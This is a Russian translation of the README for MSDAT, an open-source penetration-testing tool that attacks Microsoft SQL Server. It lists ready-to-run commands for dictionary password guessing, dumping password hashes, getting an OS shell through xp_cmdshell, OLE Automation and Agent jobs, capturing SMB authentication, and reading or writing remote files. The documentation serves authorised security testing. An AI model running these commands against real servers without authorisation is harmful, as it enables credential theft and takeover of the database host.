
MSDAT: Инструмент для атак на базы данных Microsoft SQL
| __Quentin HARDY__ | | ------------- | | [email protected]__ | | [email protected]__ | MSDAT ==== MSDAT (**M**icro**s**oft SQL **D**atabase **A**ttacking **T**ool) — это инструмент для тестирования на проникновение с открытым исходным кодом, который проверяет безопасность Microsoft SQL баз данных удалённо. Примеры использования MSDAT: * У вас есть удалённая база данных Microsoft, и вы хотите __найти действительные учётные данные__, чтобы подключиться к базе данных. * У вас есть действительная учётная запись Microsoft SQL в базе данных, и вы хотите __повысить свои привилегии__. * У вас есть действительная учётная запись Microsoft SQL, и вы хотите __выполнять команды в операционной системе__, на которой размещена эта БД (например, xp_cmdshell, OLE Automation, задания Agent). Протестировано на Microsoft SQL Database 2005, 2008, 2012, 2014, 2016 и __2019__. История изменений ==== * Версия __2.4__ (2022/12/28): * 2 новые опции в модуле _search_: _--privs_ и _--privs-full_ для получения текущих ролей и привилегий пользователя (например, привилегии входа и базы данных) * 1 новая опция в модуле _search_: _--config_ для получения конфигураций и информации о базе данных (версия, базы данных, пользователи, отключенные пользователи, хранимые процедуры и т.д.) * Версия __2.3__ (2022/12/18): * совместимость с Microsoft SQL Server 2019 * новая опция --schema-dump в модуле search для извлечения схемы и сохранения в файл (кроме стандартных БД) * новая опция --table-dump в модуле search для извлечения всех таблиц и сохранения в файл (кроме стандартных БД) * новая опция --sql-shell в модуле search для получения минимальной псевдо-SQL оболочки * Версия __2.2__ (2022/04/29): * _--nmap-file_ и _-l_ теперь можно использовать в модуле _all_ и _passwordguesser_. Вы можете указать список целей с помощью _-l_ или файл nmap с помощью _--nmap-file_. * Множественные исправления ошибок * Версия __2.1__ (2020/03/04): * Опция _--nmap-file_ для загрузки всех служб mssql из XML-файла nmap (необходимо установить _python-libnmap_) * Версия __2.0__ (2020/03/04): * Python 2 на __Python 3__: MSDAT теперь совместим только с __Python 3__. __Python 2 не поддерживается__. * Опция разделителя в модуле подбора паролей * Улучшения в обработке ошибок в опции --put-file модуля _xpcmdshell_ * Улучшения в опции обратной оболочки модуля _jobs_ * Модуль OLE automation — улучшения выполнения команд * Модуль OLE automation — реализована обратная оболочка Powershell * Новая опция для вывода списка заданий агентов и их кода: _--print-jobs_ * Версия __1.2__ (2020/02/26): * Новый метод в модуле xpCmdShell: загрузка бинарного файла с помощью powershell (--put-file) * Улучшение в oleAutomation: загрузка файла в бинарном режиме вместо текстового * Версия __1.1__ (2019/07/12): * множество других стандартных учётных данных. Спасибо https://github.com/govolution/betterdefaultpasslist/ * Версия __1.0__ (2017/02/15): * выпущена первая версия Возможности ==== Благодаря MSDAT (**M**icro**s**oft SQL **D**atabase **A**ttacking **T**ool) вы можете (неисчерпывающий список): * __получить техническую информацию__ (например, версию базы данных) MSSQL без аутентификации * загрузить файл nmap для сканирования всех целей MSSQL * __искать учётные записи MSSQL__ с помощью атаки по словарю * __проверить каждый логин как пароль__ (требуется аутентификация) * __получить оболочку Windows__ на сервере базы данных с помощью * xp_cmdshell * OLE Automation * Jobs * __загружать__ файлы удалённо с помощью: * OLE Automation * bulkinsert * openrowset * __выгружать__ файлы на сервер с помощью: * OLE Automation * openrowset * __перехватить SMB-аутентификацию__ с помощью: * bulkinsert * openrowset * *xp_dirtree* * *xp_fileexist* * *xp-getfiledetails* * __украсть хешированные пароли MSSQL__ на любой версии MSSQL * __сканировать порты__ через базу данных: * openrowset * __выполнять SQL-запросы на удалённом MSSQL-сервере__ через базу данных (цель) с помощью: * *bulkinsert* * *openrowset* * __список файлов/каталогов__ с помощью: * *xp_subdirs* * *xp_dirtree* * __список дисков/носителей__ с помощью: * *xp_fixeddrives* * *xp_availablemedia* * __создать папку__ с помощью: * *xp_create_subdir* * поиск конфиденциальных данных в таблицах (например, учётных данных) * получение конфигурации базы данных (базы данных, пользователи, хранимые процедуры и т.д.) * извлечение схемы и информации обо всех таблицах * выполнение простых SQL-команд в псевдо-SQL оболочке Установка ==== Для запуска MSDAT необходимо установить некоторые зависимости. В Ubuntu: ```bash sudo apt-get install freetds-dev ``` или скачайте freetds с [http://www.freetds.org/](http://www.freetds.org/) Установка зависимостей Python: ```bash sudo pip3 install -r requirements.txt sudo activate-global-python-argcomplete ``` или ```bash sudo pip3 install cython colorlog termcolor pymssql argparse python-libnmap sudo pip3 install argcomplete && sudo activate-global-python-argcomplete ``` Добавьте "use ntlmv2 = yes" в ваш конфигурационный файл freetds (например, ```/etc/freetds/freetds.conf``` или ```/usr/local/etc/freetds.conf```). Пример: ```bash [global] # TDS protocol version tds version = 8.0 use ntlmv2 = yes ``` Как начать ==== ```bash python3 msdat.py -h 2 ⨯ usage: msdat.py [-h] [--version] {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner} ... _ _ __ __ _ ___ | \_/ |/ _|| \ / \|_ _| | \_/ |\_ \| o ) o || | |_| |_||__/|__/|_n_||_| ------------------------------------------------------ _ _ __ __ _ ___ | \_/ |/ _| | \ / \ |_ _| | \_/ |\_ \ | o ) o | | | |_| |_||__/icrosoft |__/atabase |_n_|ttacking |_|ool ------------------------------------------------------- By Quentin Hardy ([email protected]) positional arguments: {all,mssqlinfo,passwordguesser,passwordstealer,xpcmdshell,jobs,smbauthcapture,oleautomation,bulkopen,xpdirectory,trustworthype,userlikepwd,search,cleaner} Choose a main command all to run all modules in order to know what it is possible to do mssqlinfo to get information without authentication passwordguesser to know valid credentials passwordstealer to get hashed passowrds xpcmdshell to get a shell jobs to execute system commands smbauthcapture to capture a SMB authentication oleautomation to read/write file and execute system commands bulkopen to read a file and scan ports xpdirectory to list files/drives and to create directories trustworthype to become sysadmin with the trustwothy database method userlikepwd to try each MSSQL username stored in the DB like the corresponding pwd search to search in column names cleaner clean local traces optional arguments: -h, --help show this help message and exit --version show program's version number and exit ``` Примеры ==== Модули --- * Вы можете вывести список всех модулей: ```bash ./msdat.py -h ``` * Когда вы выбрали модуль (например: *all*), вы можете использовать его и вывести список всех функций и опций модуля: ```bash ./msdat.py all -h ``` Вы можете узнать, может ли конкретный модуль быть использован на MSSQL-сервере, с помощью опции *__--test-module__*. Эта опция реализована в каждом модуле msdat. Модуль *all* --- Модуль *all* позволяет запустить все модули (зависит от указанных вами опций). ```bash python msdat.py all -s $SERVER ``` Если вы хотите: * использовать собственный файл учётных записей для атаки по словарю * попробовать несколько паролей для одного пользователя без вашего запроса * установить собственное значение тайм-аута ```bash ./msdat.py all -s $SERVER -p $PORT --accounts-file accounts.txt --login-timeout 10 --force-retry ``` В каждом модуле вы можете задать набор символов с помощью опции *--charset*. Модуль *mssqlinfo* --- Чтобы получить техническую информацию об удалённом MSSQL-сервере без аутентификации: ```bash ./msdat.py mssqlinfo -s $SERVER -p $PORT --get-max-info ``` Этот модуль использует *__протокол TDS__* и *__SQL browser Server__* для получения информации. Модуль *passwordguesser* --- Этот модуль позволяет искать действительные учётные данные: ```bash ./msdat.py passwordguesser -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --force-retry --search ``` Опция *--force-retry* позволяет тестировать несколько паролей для каждого пользователя без вашего запроса. Вы можете указать собственный файл учётных записей с помощью опции *--accounts-file*: ```bash ./msdat.py passwordguesser -s $SERVER -p $PORT --search --accounts-file accounts.txt --force-retry ``` Модуль *passwordstealer* --- Чтобы дампнуть хешированные пароли: ```bash ./msdat.py passwordstealer -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --dump --save-to-file test.txt ``` Этот модуль протестирован на SQL Server 2000, 2005, 2008 и 2014. Модуль *xpcmdshell* --- Чтобы выполнять системные команды с помощью *xp_cmdshell* ([https://msdn.microsoft.com/en-us/library/ms190693.aspx](https://msdn.microsoft.com/en-us/library/ms190693.aspx)): ```bash ./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --shell ``` Эта команда даёт вам интерактивную оболочку на удалённом сервере базы данных. Если *xp_cmdshell* не включён, опцию *--enable-xpcmdshell* можно использовать в этом модуле для его активации: ```bash ./msdat.py xpcmdshell -s $SERVER -p $PORT -U $USER -P $PASSWORD --enable-xpcmdshell --disable-xpcmdshell --disable-xpcmdshell --shell ``` Опция *--enable-xpcmdshell* включает *xp_cmdshell*, если он не включён (по умолчанию не включён). Опция *--disable-xpcmdshell* отключает *xp_cmdshell*, если он включён. Модуль *smbauthcapture* --- С помощью этого модуля вы можете перехватить SMB-аутентификацию: ```bash ./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --capture $MY_IP_ADDRESS --share-name SHARE ``` Для перехвата SMB-аутентификации можно использовать модуль *auxiliary/server/capture/smb* ([http://www.rapid7.com/db/modules/auxiliary/server/capture/smb](http://www.rapid7.com/db/modules/auxiliary/server/capture/smb)) metasploit: ```bash msf > use auxiliary/server/capture/smb msf auxiliary(smb) > exploit ``` Команда *__capture__* этого модуля пытается перехватить SMB-аутентификацию с помощью процедур *xp_dirtree*, *xp_fileexist* или *xp-getfiledetails*. Если вы хотите выбрать процедуру SMB-аутентификации для перехвата: ```bash ./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-dirtree-capture 127.0.0.1 ./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-fileexist-capture 127.0.0.1 ./msdat.py smbauthcapture -s $SERVER -p $PORT -U $USER -P $PASSWORD --xp-getfiledetails-capture 127.0.0.1 ``` Вы можете изменить имя SHARE с помощью опции *--share-name*. Модуль *oleautomation* --- Этот модуль можно использовать для чтения/записи файлов на сервере базы данных. Следующая команда читает файл *temp.txt*, хранящийся на сервере базы данных: ```bash ./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' ``` Чтобы записать строку в файл (*temp.txt*) удалённо: ```bash ./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --write-file 'C:\Users\Administrator\Desktop\temp.txt' 'a\nb\nc\nd\ne\nf' ``` Этот модуль можно использовать для загрузки файла (*C:\Users\Administrator\Desktop\temp.txt*), хранящегося на сервере базы данных: ```bash ./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt ``` Также вы можете использовать этот модуль для выгрузки файла (*temp.txt*) на целевую машину: ```bash ./msdat.py oleautomation -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --put-file temp.txt 'C:\Users\Administrator\Desktop\temp.txt ``` Модуль *bulkopen* --- Модуль *bulkopen* может использоваться: * для чтения/загрузки файлов, хранящихся на сервере базы данных * для сканирования портов через сервер базы данных * для выполнения SQL-запросов на удалённом MSSQL-сервере через базу данных Чтобы прочитать файл, хранящийся на целевой машине, можно использовать следующую команду: ```bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt'" ``` Опция *--method* может использоваться для указания используемого метода: * *bulkinsert* ([https://msdn.microsoft.com/en-us/library/ms188365.aspx](https://msdn.microsoft.com/en-us/library/ms188365.aspx)) или * *openrowset* ([https://msdn.microsoft.com/en-us/library/ms190312.aspx](https://msdn.microsoft.com/en-us/library/ms190312.aspx)): ```bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --read-file 'C:\Users\Administrator\Desktop\temp.txt' --method openrowset ``` Чтобы скачать файл (*C:\Users\Administrator\Desktop\temp.txt*): ```bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --get-file 'C:\Users\Administrator\Desktop\temp.txt' temp.txt ``` Этот модуль можно использовать для сканирования портов (1433 и 1434 127.0.0.1) через сервер базы данных: ```bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433,1434 -v ``` Вы можете сканировать диапазон портов: ```bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --scan-ports 127.0.0.1 1433-1438 ``` Этот модуль можно использовать для выполнения SQL-запросов (например: *select @@ServerName*) на удалённом сервере базы данных (например, $SERVER2) через базу данных ($SERVER): ```bash ./msdat.py bulkopen -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --request-rdb $SERVER2 $PORT $DATABASE $USER $PASSWORD 'select @@ServerName' ``` Модуль *xpdirectory* --- Модуль *xpdirectory* может использоваться: * для вывода списка: * файлов * каталогов * дисков * для проверки существования файла * для создания каталога Чтобы вывести список файлов в конкретном каталоге: ```bash ./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-files 'C:\' ``` Чтобы вывести список каталогов в конкретном каталоге: ```bash ./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-dir 'C:\' ``` Чтобы вывести список дисков: ```bash ./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --list-fixed-drives --list-available-media ``` Чтобы проверить существование файла: ```bash ./msdat.py xpdirectory -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --file-exists 'C:\' --file-exists 'file.txt' ``` Чтобы создать каталог: ```bash ./msdat.py xpdirectory --s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --create-dir 'C:\temp' ``` Модуль *search* --- Модуль *search* может использоваться для поиска шаблона в именах столбцов таблиц и представлений. Полезно, например, для поиска шаблона *%password%* в именах столбцов. Чтобы получить имена столбцов, содержащих шаблоны паролей (например: passwd, password, motdepasse, clave): ```bash ./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns ``` Если вы хотите видеть имена столбцов, которые не содержат данных, используйте опцию *--show-empty-columns*. Чтобы найти конкретный шаблон в именах столбцов представлений и таблиц: ```bash ./msdat.py search -s $SERVER -p $PORT -U $USER -P $PASSWORD -d $DATABASE --pwd-column-names --show-empty-columns ``` Пожертвования ==== Если вы хотите поддержать мою работу пожертвованием, я буду очень признателен: * Через BTC: 36FugL6SnFrFfbVXRPcJATK9GsXEY6mJbf